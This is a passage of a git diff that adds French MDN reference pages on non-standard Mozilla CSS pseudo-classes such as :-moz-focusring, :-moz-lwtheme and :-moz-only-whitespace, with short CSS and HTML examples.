@@ -0,0 +1,56 @@
+---
+title: ':-moz-first-node'
+slug: 'Web/CSS/:-moz-first-node'
+tags:
+  - CSS
+  - Non-standard
+  - Pseudo-classe
+  - Reference
+translation_of: 'Web/CSS/:-moz-first-node'
+---
+<div>{{Non-standard_header}}{{CSSRef}}</div>
+
+<p>La pseudo-classe <strong><code>:-moz-first-node</code></strong> correspond à un élément si celui-ci est le premier nœud d'un autre élément. Cette pseudo-classe est différente de {{cssxref(":first-child")}} car elle ne cible pas le premier élément qui possède du texte (hors blancs).</p>
+
+<p class="note"><strong>Note :</strong> Tout blanc qui serait au début d'un élément est ignoré pour la détermination de <code>:-moz-last-node</code>.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>span</var>:-moz-first-node { <em>propriétés de mise en forme</em> }
+</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush:css">span:-moz-first-node {
+  background-color: lime;
+}
+</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush:html">&lt;p&gt;
+  &lt;span&gt;:-moz-first-node&lt;/span&gt;
+  &lt;span&gt;:-moz-last-node&lt;/span&gt;
+&lt;/p&gt;
+&lt;p&gt;
+  Bip bop bip bop
+  &lt;span&gt;Cet élément n'est pas ciblé car il y a du texte avant.&lt;/span&gt;
+&lt;/p&gt;
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples", "220", "20")}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<p>Cette pseudo-classe est une pseudo-classe propriétaire liée à Gecko/Mozilla et ne fait partie d'aucune spécification.</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref(":-moz-last-node")}}</li>
+ <li>{{cssxref(":last-child")}}</li>
+</ul>
diff --git a/files/fr/web/css/_colon_-moz-focusring/index.html b/files/fr/web/css/_colon_-moz-focusring/index.html
new file mode 100644
index 0000000000..7b2f4befee
--- /dev/null
+++ b/files/fr/web/css/_colon_-moz-focusring/index.html
@@ -0,0 +1,61 @@
+---
+title: ':-moz-focusring'
+slug: 'Web/CSS/:-moz-focusring'
+tags:
+  - CSS
+  - Non-standard
+  - Pseudo-classe
+  - Reference
+translation_of: 'Web/CSS/:-moz-focusring'
+---
+<div>{{Non-standard_header}}{{CSSRef}}</div>
+
+<p>La pseudo-classe <strong><code>:-moz-focusring</code></strong> est similaire à la pseudo-classe {{cssxref(":focus")}} mais ne cible un élément que si celui-ci a le focus <strong>et</strong> qu'un indicateur doit être dessiné autour ou sur cet élément.</p>
+
+<p>Si <code>:-moz-focusring</code> correspond à un élément, <code>:focus</code> correspondra également (bien que l'inverse ne soit pas toujours vrai). Cela dépend de l'agent utilisateur qui indique si un anneau de focus doit être dessiné sur l'élément qui a reçu le focus. Cette indication dépend fortement du système d'exploitation et le comportement de cette pseudo-classe diffèrera donc selon les plateformes et/ou les paramètres du système.</p>
+
+<div class="note">
+<p><strong>Note :</strong> Les développeurs utilisent souvent <code>:-moz-focusring</code> pour différencier l'atteinte du focus via le <strong>clic de la souris</strong> ou via <strong>la navigation au clavier (avec la tabulation)</strong>. Cette pseudo-classe est également utile si on crée un <a href="/en-US/docs/Web/Web_Components/Using_custom_elements">élément personnalisé</a> dont on veut changer le style en fonction de son comportement.</p>
+</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">:-moz-focusring</pre>
+
+<h2 id="Exemple">Exemple</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">input {
+  margin: 5px;
+}
+
+:-moz-focusring {
+  color: red;
+  outline: 2px dotted green;
+}
+</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;input/&gt;</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemple")}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<p>Cette fonctionnalité ne fait partie d'aucune spécification bien qu'elle ait <a href="https://lists.w3.org/Archives/Public/www-style/2015Sep/0226.html">discutée avec le groupe de travail</a> et qu'il a été <a href="https://lists.w3.org/Archives/Public/www-style/2015Oct/0012.html">conclus de son ajout dans la spécification CSS sur les sélecteurs de niveau 4 ou 5</a>.</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+
+
+<p>{{Compat("css.selectors.-moz-focusring")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{bug("418521")}}</li>
+</ul>
diff --git a/files/fr/web/css/_colon_-moz-full-screen-ancestor/index.html b/files/fr/web/css/_colon_-moz-full-screen-ancestor/index.html
new file mode 100644
index 0000000000..4004032f1c
--- /dev/null
+++ b/files/fr/web/css/_colon_-moz-full-screen-ancestor/index.html
@@ -0,0 +1,41 @@
+---
+title: ':-moz-full-screen-ancestor'
+slug: 'Web/CSS/:-moz-full-screen-ancestor'
+tags:
+  - CSS
+  - Non-standard
+  - Obsolete
+  - Pseudo-classe
+  - Reference
+translation_of: 'Archive/Web/CSS/:-moz-full-screen-ancestor'
+---
+<div>{{CSSRef}}{{non-standard_header}}{{deprecated_header}}</div>
+
+<p>La pseudo-classe <strong><code>:-moz-full-screen-ancestor</code></strong> permettait de cibler tous les ancêtres d'un élément affiché en plein écran à l'exception des <em>frames</em> contenues dans les documents parents.</p>
+
+<div class="warning">
+<p>Cette pseudo-classe a été retirée de Firefox 50</p>
+</div>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<p>Cette pseudo-classe est une pseudo-classe propriétaire liée à Gecko/Mozilla et ne fait partie d'aucune spécification.</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.selectors.-moz-full-screen-ancestor")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/Guide/DOM/Using_full_screen_mode">Utiliser le mode plein-écran</a></li>
+ <li>{{domxref("element.mozRequestFullScreen()")}}</li>
+ <li>{{domxref("document.mozCancelFullScreen()")}}</li>
+ <li>{{domxref("document.mozFullScreen")}}</li>
+ <li>{{domxref("document.mozFullScreenElement")}}</li>
+ <li>{{domxref("document.mozFullScreenEnabled")}}</li>
+ <li>{{HTMLAttrXRef("mozallowfullscreen", "iframe")}}</li>
+ <li>{{cssxref(":full-screen")}}</li>
+</ul>
diff --git a/files/fr/web/css/_colon_-moz-handler-blocked/index.html b/files/fr/web/css/_colon_-moz-handler-blocked/index.html
new file mode 100644
index 0000000000..0168f703f5
--- /dev/null
+++ b/files/fr/web/css/_colon_-moz-handler-blocked/index.html
@@ -0,0 +1,26 @@
+---
+title: ':-moz-handler-blocked'
+slug: 'Web/CSS/:-moz-handler-blocked'
+tags:
+  - CSS
+  - Non-standard
+  - Pseudo-classe
+  - Reference
+translation_of: 'Web/CSS/:-moz-handler-blocked'
+---
+<div>{{Non-standard_header}}{{CSSRef}}{{gecko_minversion_header("1.9.1")}}</div>
+
+<p>La pseudo-classe <strong><code>:-moz-handler-blocked</code></strong> permet de cibler un élément qui ne peut pas être affiché car le gestionnaire associé a été bloqué par l'utilisateur.</p>
+
+<p>Cette pseudo-classe est principalement destinée aux développeurs de thèmes.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<p>Cette pseudo-classe est une pseudo-classe propriétaire liée à Gecko/Mozilla et ne fait partie d'aucune spécification.</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref(":-moz-handler-crashed")}}</li>
+ <li>{{cssxref(":-moz-handler-disabled")}}</li>
+</ul>
diff --git a/files/fr/web/css/_colon_-moz-handler-crashed/index.html b/files/fr/web/css/_colon_-moz-handler-crashed/index.html
new file mode 100644
index 0000000000..72f1bdff9f
--- /dev/null
+++ b/files/fr/web/css/_colon_-moz-handler-crashed/index.html
@@ -0,0 +1,26 @@
+---
+title: ':-moz-handler-crashed'
+slug: 'Web/CSS/:-moz-handler-crashed'
+tags:
+  - CSS
+  - Non-standard
+  - Pseudo-classe
+  - Reference
+translation_of: 'Web/CSS/:-moz-handler-crashed'
+---
+<div>{{Non-standard_header}}{{CSSRef}}{{gecko_minversion_header("2.0")}}</div>
+
+<p>La pseudo-classe <strong><code>:-moz-handler-crashed</code></strong> permet de cibler un élément qui ne peut pas être affiché car le plugin sensé le dessiner a planté.</p>
+
+<p>Cette pseudo-classe est principalement destinée aux développeurs de thèmes.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<p>Cette pseudo-classe est une pseudo-classe propriétaire liée à Gecko/Mozilla et ne fait partie d'aucune spécification.}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref(":-moz-handler-blocked")}}</li>
+ <li>{{cssxref(":-moz-handler-disabled")}}</li>
+</ul>
diff --git a/files/fr/web/css/_colon_-moz-handler-disabled/index.html b/files/fr/web/css/_colon_-moz-handler-disabled/index.html
new file mode 100644
index 0000000000..12ade56fe0
--- /dev/null
+++ b/files/fr/web/css/_colon_-moz-handler-disabled/index.html
@@ -0,0 +1,26 @@
+---
+title: ':-moz-handler-disabled'
+slug: 'Web/CSS/:-moz-handler-disabled'
+tags:
+  - CSS
+  - Non-standard
+  - Pseudo-classe
+  - Reference
+translation_of: 'Web/CSS/:-moz-handler-disabled'
+---
+<div>{{Non-standard_header}}{{CSSRef}}{{gecko_minversion_header("1.9.1")}}</div>
+
+<p>La pseudo-classe <strong><code>:-moz-handler-disabled</code></strong> permet de cibler un élément qui ne peut pas être affiché car le gestionnaire associé a été désactivé par l'utilisateur.</p>
+
+<p>Cette pseudo-classe est principalement destinée aux développeurs de thèmes.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<p>Cette pseudo-classe est une pseudo-classe propriétaire liée à Gecko/Mozilla et ne fait partie d'aucune spécification.</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref(":-moz-handler-blocked")}}</li>
+ <li>{{cssxref(":-moz-handler-crashed")}}</li>
+</ul>
diff --git a/files/fr/web/css/_colon_-moz-last-node/index.html b/files/fr/web/css/_colon_-moz-last-node/index.html
new file mode 100644
index 0000000000..4133fb53a9
--- /dev/null
+++ b/files/fr/web/css/_colon_-moz-last-node/index.html
@@ -0,0 +1,56 @@
+---
+title: ':-moz-last-node'
+slug: 'Web/CSS/:-moz-last-node'
+tags:
+  - CSS
+  - Non-standard
+  - Pseudo-classe
+  - Reference
+translation_of: 'Web/CSS/:-moz-last-node'
+---
+<div>{{Non-standard_header}}{{CSSRef}}</div>
+
+<p>La pseudo-classe <strong><code>:-moz-last-node</code></strong> correspond à un élément si celui-ci est le dernier nœud d'un autre élément. Cette pseudo-classe est différente de {{cssxref(":last-child")}} car elle ne cible pas le dernier élément qui possède du texte (hors blancs).</p>
+
+<p class="note"><strong>Note :</strong> Tout blanc qui serait à la fin d'un élément est ignoré pour la détermination de <code>:-moz-last-node</code>.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>span</var>:-moz-last-node { <em>propriétés de mise en forme</em> }
+</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush:css">span:-moz-last-node {
+  background-color: lime;
+}
+</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush:html">&lt;p&gt;
+  &lt;span&gt;:-moz-first-node&lt;/span&gt;
+  &lt;span&gt;:-moz-last-node&lt;/span&gt;
+&lt;/p&gt;
+&lt;p&gt;
+  &lt;span&gt;Cet élément n'est pas ciblé car il est suivi par du texte.&lt;/span&gt;
+  Bip bop bip bop.
+&lt;/p&gt;
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples", "220", "20")}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<p>Cette pseudo-classe est une pseudo-classe propriétaire liée à Gecko/Mozilla et ne fait partie d'aucune spécification.</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref(":-moz-first-node")}}</li>
+ <li>{{cssxref(":last-child")}}</li>
+</ul>
diff --git a/files/fr/web/css/_colon_-moz-loading/index.html b/files/fr/web/css/_colon_-moz-loading/index.html
new file mode 100644
index 0000000000..4efb552f03
--- /dev/null
+++ b/files/fr/web/css/_colon_-moz-loading/index.html
@@ -0,0 +1,36 @@
+---
+title: ':-moz-loading'
+slug: 'Web/CSS/:-moz-loading'
+tags:
+  - CSS
+  - Non-standard
+  - Pseudo-classe
+  - Reference
+translation_of: 'Web/CSS/:-moz-loading'
+---
+<div>{{CSSRef}}{{Non-standard_header}}{{gecko_minversion_header("1.9")}}</div>
+
+<p>La pseudo-classe <strong><code>:-moz-loading</code></strong> correspond aux éléments qui ne peuvent être affichés, car ils n'ont pas été chargés (par exemple les images qui n'ont pas encore été transférées sur le réseau). On notera que les images <em>en cours de chargement</em> (le fichier est arrivé et est en train d'être traité pour affichage par le navigateur) ne sont pas ciblées par cette pseudo-classse.</p>
+
+<p>Cette pseudo-classe est principalement destinée aux développeurs de thèmes.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">:-moz-loading</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: css">img:-moz-loading {
+  background-color: #aaa;
+  background-image: url(loading-animation.gif) center no-repeat;
+}</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<p>Cette pseudo-classe est une pseudo-classe propriétaire liée à Gecko/Mozilla et ne fait partie d'aucune spécification.</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref(":-moz-broken")}}, {{cssxref(":-moz-suppressed")}}, {{cssxref(":-moz-user-disabled")}}</li>
+</ul>
diff --git a/files/fr/web/css/_colon_-moz-locale-dir(ltr)/index.html b/files/fr/web/css/_colon_-moz-locale-dir(ltr)/index.html
new file mode 100644
index 0000000000..13622d0dd1
--- /dev/null
+++ b/files/fr/web/css/_colon_-moz-locale-dir(ltr)/index.html
@@ -0,0 +1,47 @@
+---
+title: ':-moz-locale-dir(ltr)'
+slug: 'Web/CSS/:-moz-locale-dir(ltr)'
+tags:
+  - CSS
+  - Localisation
+  - Non-standard
+  - Pseudo-classe
+  - Reference
+  - l10n
+translation_of: 'Web/CSS/:-moz-locale-dir(ltr)'
+---
+<div>{{Non-standard_header}}{{CSSRef}}{{gecko_minversion_header("1.9.2")}}</div>
+
+<p>La pseudo-classe <strong><code>:-moz-locale-dir(ltr)</code></strong> correspond à un élément si l'interface utilisateur est affichée de gauche à droite. Ceci est déterminé par la préférence <code>intl.uidirection.</code><em><code>locale</code></em> (où <em><code>locale</code></em> est le language courant) qui est fixé à "ltr".</p>
+
+<p>Cela permet aux extensions (et thèmes) d'adapter facilement leur interface utilisateur basée sur les besoins du langage de l'utilisateur. Cela peut varier d'une fenêtre à une autre et même d'un onglet à un autre. Cela permet aussi aux extensions de fonctionner même si elles ne prennent pas en compte le langage de l'utilisateur par défaut, puisqu'elles peuvent prendre en compte les agencements de gauche à droite et de droite à gauche sans être inquiétée par les spécificités du langage.</p>
+
+<p>Ce sélecteur ne fonctionne pas pour les documents l'HTML; il fait correspondre toujours, peu importe si le langage de l'UI va de gauche à droite ou de droite à gauche.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;p&gt;Sur une interface allant de gauche à droite, ce texte devrait être rouge.&lt;/p&gt;
+</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">p:-moz-locale-dir(ltr) {
+  color: red;
+}</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples")}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<p>Cette pseudo-classe est une pseudo-classe propriétaire liée à Gecko/Mozilla et ne fait partie d'aucune spécification.</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref(":dir",":dir(…)")}}</li>
+ <li>{{cssxref(":-moz-locale-dir(rtl)")}}</li>
+</ul>
diff --git a/files/fr/web/css/_colon_-moz-locale-dir(rtl)/index.html b/files/fr/web/css/_colon_-moz-locale-dir(rtl)/index.html
new file mode 100644
index 0000000000..8ab4f863d5
--- /dev/null
+++ b/files/fr/web/css/_colon_-moz-locale-dir(rtl)/index.html
@@ -0,0 +1,47 @@
+---
+title: ':-moz-locale-dir(rtl)'
+slug: 'Web/CSS/:-moz-locale-dir(rtl)'
+tags:
+  - CSS
+  - Droite-à-gauche
+  - Localisation
+  - Non-standard
+  - Pseudo-classe
+  - Reference
+translation_of: 'Web/CSS/:-moz-locale-dir(rtl)'
+---
+<div>{{Non-standard_header}}{{CSSRef}}{{gecko_minversion_header("1.9.2")}}</div>
+
+<p>La <a href="/fr/docs/Web/CSS/Pseudo-classes">pseudo-classe CSS</a> <strong><code>:-moz-locale-dir(rtl)</code></strong> correspond à un élément si l'interface utilisateur est affichée de droite à gauche. Elle est déterminée par la préférence <code>intl.uidirection.</code><em><code>locale</code></em> (où <em><code>locale</code></em> est la langue courante) qui est fixée à <code>"rtl"</code>.</p>
+
+<p>Cela permet aux extensions (et thèmes) d'adapter facilement leur interface utilisateur basée sur les besoins de la langue de l'utilisateur. Cela peut varier d'une fenêtre à une autre et même d'un onglet à un autre. Cela permet aussi aux extensions de fonctionner même si elles ne prennent pas en compte la langue de l'utilisateur par défaut, puisqu'elles peuvent prendre en compte les agencements de gauche à droite et de droite à gauche sans être inquiétées par les spécificités de la langue.</p>
+
+<p>Ce sélecteur ne fonctionne pas correctement pour des documents HTML ; il ne fait jamais correspondre, peu importe si la langue de l'interface utilisateur va de gauche à droite ou de droite à gauche.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">p:-moz-locale-dir(rtl) {
+  color: red;
+}</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;p&gt;En utilisant une interface de droite à gauche, ce texte sera rouge.&lt;/p&gt;
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples")}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<p>Cette pseudo-classe est une pseudo-classe propriétaire liée à Gecko/Mozilla et ne fait partie d'aucune spécification.</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref(":-moz-locale-dir(ltr)")}}</li>
+ <li><a href="/en-US/docs/Making_Sure_Your_Theme_Works_with_RTL_Locales">Garantir le fonctionnement de votre thème avec les locales RTL</a></li>
+</ul>
diff --git a/files/fr/web/css/_colon_-moz-lwtheme-brighttext/index.html b/files/fr/web/css/_colon_-moz-lwtheme-brighttext/index.html
new file mode 100644
index 0000000000..68304a2c21
--- /dev/null
+++ b/files/fr/web/css/_colon_-moz-lwtheme-brighttext/index.html
@@ -0,0 +1,25 @@
+---
+title: ':-moz-lwtheme-brighttext'
+slug: 'Web/CSS/:-moz-lwtheme-brighttext'
+tags:
+  - CSS
+  - Non-standard
+  - Pseudo-classe
+  - Reference
+translation_of: 'Mozilla/Gecko/Chrome/CSS/:-moz-lwtheme-brighttext'
+---
+<div>{{CSSRef}}{{non-standard_header}}</div>
+
+<p>La pseudo-classe <strong><code>:-moz-lwtheme-brighttext</code></strong> correspond à un élément de l'interface utilisateur du navigateur (le <em>chrome</em>) lorsque {{cssxref(":-moz-lwtheme")}} vaut <code>true</code> et qu'un thème léger avec une couleur de texte clair est sélectionné.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<p>Cette pseudo-classe est une pseudo-classe propriétaire liée à Gecko/Mozilla et ne fait partie d'aucune spécification.</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref(":-moz-lwtheme")}}</li>
+ <li>{{cssxref(":-moz-lwtheme-darktext")}}</li>
+ <li><a href="/fr/docs/Mozilla/Add-ons/Thèmes/Lightweight_themes">Les thèmes légers</a></li>
+</ul>
diff --git a/files/fr/web/css/_colon_-moz-lwtheme-darktext/index.html b/files/fr/web/css/_colon_-moz-lwtheme-darktext/index.html
new file mode 100644
index 0000000000..912ddbd7f6
--- /dev/null
+++ b/files/fr/web/css/_colon_-moz-lwtheme-darktext/index.html
@@ -0,0 +1,25 @@
+---
+title: ':-moz-lwtheme-darktext'
+slug: 'Web/CSS/:-moz-lwtheme-darktext'
+tags:
+  - CSS
+  - Non-standard
+  - Pseudo-classe
+  - Reference
+translation_of: 'Mozilla/Gecko/Chrome/CSS/:-moz-lwtheme-darktext'
+---
+<div>{{CSSRef}}{{non-standard_header}}</div>
+
+<p>La pseudo-classe <strong><code>:-moz-lwtheme-darktext</code></strong> correspond à un élément de l'interface utilisateur du navigateur (le <em>chrome</em>) lorsque {{cssxref(":-moz-lwtheme")}} vaut <code>true</code> et qu'un thème léger avec une couleur de texte sombre est sélectionné.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<p>Cette pseudo-classe est une pseudo-classe propriétaire liée à Gecko/Mozilla et ne fait partie d'aucune spécification.</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref(":-moz-lwtheme")}}</li>
+ <li>{{cssxref(":-moz-lwtheme-brighttext")}}</li>
+ <li><a href="/fr/docs/Mozilla/Add-ons/Thèmes/Lightweight_themes">Les thèmes légers</a></li>
+</ul>
diff --git a/files/fr/web/css/_colon_-moz-lwtheme/index.html b/files/fr/web/css/_colon_-moz-lwtheme/index.html
new file mode 100644
index 0000000000..31b249d0ca
--- /dev/null
+++ b/files/fr/web/css/_colon_-moz-lwtheme/index.html
@@ -0,0 +1,25 @@
+---
+title: ':-moz-lwtheme'
+slug: 'Web/CSS/:-moz-lwtheme'
+tags:
+  - CSS
+  - Non-standard
+  - Pseudo-classe
+  - Reference
+translation_of: 'Mozilla/Gecko/Chrome/CSS/:-moz-lwtheme'
+---
+<div>{{CSSRef}}{{non-standard_header}}</div>
+
+<p>La pseudo-classe <strong><code>:-moz-lwtheme</code></strong> permet de cibler les documents liés à l'interface utilisateur du navigateur (le <em>chrome</em>) lorsque l'attribut {{xulattr("lightweightthemes")}} de l'élément racine vaut <code>true</code> et qu'un thème est sélectionné.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<p>Cette pseudo-classe est une pseudo-classe propriétaire liée à Gecko/Mozilla et ne fait partie d'aucune spécification.</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref(":-moz-lwtheme-darktext")}}</li>
+ <li>{{cssxref(":-moz-lwtheme-brighttext")}}</li>
+ <li><a href="/fr/docs/Mozilla/Add-ons/Thèmes/Lightweight_themes">Les thèmes légers</a></li>
+</ul>
diff --git a/files/fr/web/css/_colon_-moz-only-whitespace/index.html b/files/fr/web/css/_colon_-moz-only-whitespace/index.html
new file mode 100644
index 0000000000..c9f9b7c90a
--- /dev/null
+++ b/files/fr/web/css/_colon_-moz-only-whitespace/index.html
@@ -0,0 +1,77 @@
+---
+title: ':-moz-only-whitespace'
+slug: 'Web/CSS/:-moz-only-whitespace'
+tags:
+  - CSS
+  - Non-standard
+  - Pseudo-classe
+  - Reference
+  - Sélecteur
+translation_of: 'Web/CSS/:-moz-only-whitespace'
+---
+<div>{{CSSRef}}{{SeeCompatTable}}</div>
+
+<div class="blockIndicator note">
+<p><strong>Note :</strong> Dans la spécification {{SpecName("CSS4 Selectors", "#the-empty-pseudo")}}, le sélecteur {{CSSxRef(":empty")}} a été modifié pour se comporter comme <code>:-moz-only-whitespace</code> mais aucun navigateur ne prend actuellement en charge cette fonctionnalité.</p>
+</div>
+
+<p>La <a href="/fr/docs/Web/CSS/Pseudo-classes">pseudo-classe</a> <strong><code>:-moz-only-whitespace</code></strong> correspond aux éléments qui n'ont aucun nœud enfant, aux nœuds texte vides ou aux nœuds texte ne possédant que des espaces.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">{{CSSSyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div&gt; &lt;/div&gt;
+</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<div class="hidden">
+<pre class="brush: css">:root {
+  overflow: hidden;
+  max-width: 100vw;
+  max-height: 100vh;
+}
+
+div {
+  background-color: #ccc;
+  box-sizing: border-box;
+  height: 100vh;
+  min-height: 16px;
+  min-height: 1rem;
+}
+</pre>
+</div>
+
+<pre class="brush: css">div {
+  border: 4px solid red;
+}
+
+:-moz-only-whitespace {
+  border-color: lime;
+}</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemple", "100%", "50")}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<p>Cette pseudo-classe a été renommée en <code>:blank</code> dans {{SpecName("CSS4 Selectors", "#changes-2018-02")}} puis la fonctionnalité a été fusionnée avec {{CSSxRef(":empty")}} et {{CSSxRef(":blank")}} a été redéfinie afin d'indiquer un élément {{HTMLElement("input")}} vide.</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.selectors.moz-only-whitespace")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{CSSxRef(":blank")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef(":empty")}}</li>
+</ul>
diff --git a/files/fr/web/css/_colon_-moz-submit-invalid/index.html b/files/fr/web/css/_colon_-moz-submit-invalid/index.html
new file mode 100644
index 0000000000..69617de5ba
--- /dev/null
+++ b/files/fr/web/css/_colon_-moz-submit-invalid/index.html
@@ -0,0 +1,39 @@
+---
+title: ':-moz-submit-invalid'
+slug: 'Web/CSS/:-moz-submit-invalid'
+tags:
+  - CSS
+  - Non-standard
+  - Pseudo-classe
+  - Reference
+translation_of: 'Web/CSS/:-moz-submit-invalid'
+---
+<div>{{Non-standard_header}}{{CSSRef}}</div>
+
+<p>La <a href="/fr/docs/Web/CSS/Pseudo-classes">pseudo-classe</a> CSS <strong><code>:-moz-submit-invalid</code></strong> représente tout bouton {{HTMLElement("input")}} de type <code>submit</code> présent sur un formulaire dont le contenu n'est pas valide compte-tenu de ses <a href="/fr/docs/Web/Guide/HTML/Forms_in_HTML#Constraint_Validation" title="en/HTML/HTML5/Forms in HTML5#Constraint Validation">contraintes de validation</a>.</p>
+
+<p>Par défaut, aucun style n'est appliqué. Vous pouvez utiliser cette pseudo-classe afin de personnaliser l'apparence du bouton <code>submit</code> lorsqu'il y a des champs de formulaire invalides.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">:-moz-submit-invalid
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<p>Cette pseudo-classe est une pseudo-classe propriétaire liée à Gecko/Mozilla et ne fait partie d'aucune spécification.</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.selectors.-moz-submit-invalid")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref(":valid")}}</li>
+ <li>{{cssxref(":invalid")}}</li>
+ <li>{{cssxref(":required")}}</li>
+ <li>{{cssxref(":optional")}}</li>
+</ul>
diff --git a/files/fr/web/css/_colon_-moz-suppressed/index.html b/files/fr/web/css/_colon_-moz-suppressed/index.html
new file mode 100644
index 0000000000..d250f94a15
--- /dev/null
+++ b/files/fr/web/css/_colon_-moz-suppressed/index.html
@@ -0,0 +1,38 @@
+---
+title: ':-moz-suppressed'
+slug: 'Web/CSS/:-moz-suppressed'
+tags:
+  - CSS
+  - Non-standard
+  - Pseudo-classe
+  - Reference
+translation_of: 'Web/CSS/:-moz-suppressed'
+---
+<div>{{Non-standard_header}}{{CSSRef}}{{gecko_minversion_header("1.9")}}</div>
+
+<p><code>:-moz-suppressed</code> est une pseudo-classe spécifique à Mozilla qui permet de sélectionner les images qui n’ont pas été chargées car le chargement des images depuis ce site a été bloqué.</p>
+
+<p>Ce sélecteur est principalement destiné aux développeurs de thèmes.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">:-moz-suppressed</pre>
+
+<h2 id="Exemple">Exemple</h2>
+
+<pre class="brush: css">:-moz-suppressed {
+  background: yellow;
+  padding: 8px;
+}</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<p>Cette pseudo-classe est une pseudo-classe propriétaire liée à Gecko/Mozilla et ne fait partie d'aucune spécification.</p>
+
